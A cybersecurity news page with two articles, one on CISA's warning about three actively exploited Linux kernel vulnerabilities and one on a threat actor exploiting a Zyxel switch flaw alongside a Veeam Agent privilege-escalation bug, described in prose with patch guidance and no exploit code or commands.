The U.S. Cybersecurity and Infrastructure Security Agency (CISA) is warning that hackers are exploiting three Linux kernel vulnerabilities, one of them rated critical. The three security issues were added separately last week and have severity ratings ranging from medium to critical. One of them, tracked as CVE-2025-39964, existed in the Linux kernel for 14 years. CISA marked all three flaws with the highest priority for federal agencies, ordering them to apply available security updates and mitigations by the end of today. The three vulnerabilities are: CVE-2025-39964: a race condition in the kernel’s AF_ALG cryptographic socket interface that allows concurrent writes to corrupt per-socket state and potentially crash systems or alter cryptographic results. CVE-2026-53266: an out-of-bounds write vulnerability in the Linux kernel’s ebtables SNAT implementation that can cause an ARP address rewrite to modify shared file-backed memory without first making the affected packet range writable. CVE-2025-39682: a Linux kernel TLS receive-path logic flaw that mishandles zero-length records queued for later processing, potentially allowing different TLS record types to be processed together when kTLS is in use. CISA says [1, 2] the vulnerabilities have been exploited in attacks but has not revealed any details about the incidents or the nature of the threat actors. Offensive security company STAR Labs found CVE-2025-39964, saying that its researchers found the issue with no help from an AI system. They demonstrated the vulnerability by achieving privilege escalation and container escape in Google’s kernelCTF. For CVE-2025-39682, there are public exploits available, as also confirmed by Red Hat in its security bulletin. Red Hat also confirmed a known exploit available for CVE-2026-53266. Researcher Kimmo Suominen has published a technical analysis and patch-status tracker for CVE-2026-53266 on GitHub, outlining a potential privilege-escalation path involving modifications to file-backed memory. However, the researcher notes that the proposed exploitation chain is inferred by analogy with Dirty Pipe and has not been demonstrated with public exploit code. CISA has marked all three flaws as requiring “forensic triage.” This means that for every affected asset, federal agencies need to examine it for signs that exploitation already occurred. Currently, none of the three flaws is flagged as exploited by ransomware groups. Join Mikko Hyppönen and security leaders from the NFL, CHANEL, and Atlassian for a two-hour digital summit on what AI-speed attacks change, what defenders should stop doing, and how to validate, decide, fix, and re-validate at machine speed. Save your seat
7 shared
Sep 25, 2026
WordPress Patches ‘Click2Shell’ Vulnerability
Attacker compromised nearly 1000 Zyxel switches since August (CVE-2026-7273) A Chinese-speaking threat actor has exploited a vulnerability (CVE-2026-7273) in unpatched ZyXEL GS1900 Smart Managed Switches and has exfiltrated sensitive data from 996 devices across 48 countries, GreyNoise reported on Monday. The affected switches are predominantly located in Italy, the US, Taiwan, South Korea, and a number of EU countries. CVE-2026-7273 exploitation is part of an unfolding operation The Zyxel GS1900 Series is a line of Gigabit Ethernet switches aimed at small and mid-sized business networks. They are typically deployed at small offices, schools, hotels, and retail shops. CVE-2026-7273 is a stack-based buffer overflow vulnerability affecting Zyxel GS1900 switches running firmware versions 2.90(XXXX.1)C0 and earlier. It allows a LAN-based, unauthenticated attacker to execute OS commands on the device via a specially crafted HTTP request. The privately reported vulnerability was fixed in June 2026, when Zyxel released new firmware versions with the patch. The attacks exploiting CVE-2026-7273 happened on or about 17 August, GreyNoise said, and the threat actor grabbed compromised devices’ configuration, networking information, and hashed root level credentials. (According to GreyNoise, 564 of these victims had factory default credentials.) “The exploit code was contained within a Python script which was heavily obfuscated by the commercial obfuscation tool PyArmor,” the researchers shared. After deobfuscating it, they discovered it explicitly targets firmware versions 2.10 through 2.90 of the GS1900-24, but “it does provide command line options (e.g. libc base address, global offsets), for targeting other firmware in scope for the vulnerability.” GreyNoise tied this exploitation activity to a threat actor that is related or the same one that, earlier this year, targeted WordPress setups through CVE-2026-63030 and CVE-2026-60137 (the WP2Shell” exploit chain), and compromised Internet-facing Gitea instances via CVE-2026-60004. After breaching WordPress installations of 49 organizations across 29 countries, in at least one instance the threat actor deployed a custom web shell, stole WP administrator accounts, credentials, exfiltrated data from SQL databases, and added a new admin account. After successfully targeting Gitea instances, the threat actor exfiltrated source code, credentials, established persistent access, and leveraged it for lateral movement. CISA added CVE-2026-7273 – the Zyxel flaw – to its Known Exploited Vulnerabilities catalog, and ordered US civilian federal agencies to address it by September 24, 2026 and check for indicators of compromise. GreyNoise has shared a list of them, though one IP address involved in the exploitation remains redacted. “We are withholding the exact IP address due to victim sensitivities and operational risk. Once these factors have been mitigated, GreyNoise will publish an update,” the company said. Also under attack: Veeam Agent for Windows In other “active exploitation” news, Arctic Wolf says that attackers are exploiting CVE-2026-32996, a local privilege escalation vulnerability in Veeam (backup) Agent for Microsoft Windows, but has not shared details about the attacks. “Arctic Wolf recommends prioritising remediation on shared workstations, servers, administrator workstations, and systems where local user access is available, or where compromise of a low-privileged account could lead to endpoint takeover,” they advised. “Upgrade Veeam Backup & Replication to 13.0.2.29 or later. This will also update the Veeam Agent for Windows to build 13.0.3.1220, which contains the fix.” We’ve reached out to Arctic Wolf for more information, and we’ll update this article when we hear back from them. Subscribe to our breaking news e-mail alert to never miss out on the latest breaches, vulnerabilities and cybersecurity threats. Subscribe here!
7 shared
Sep 22, 2026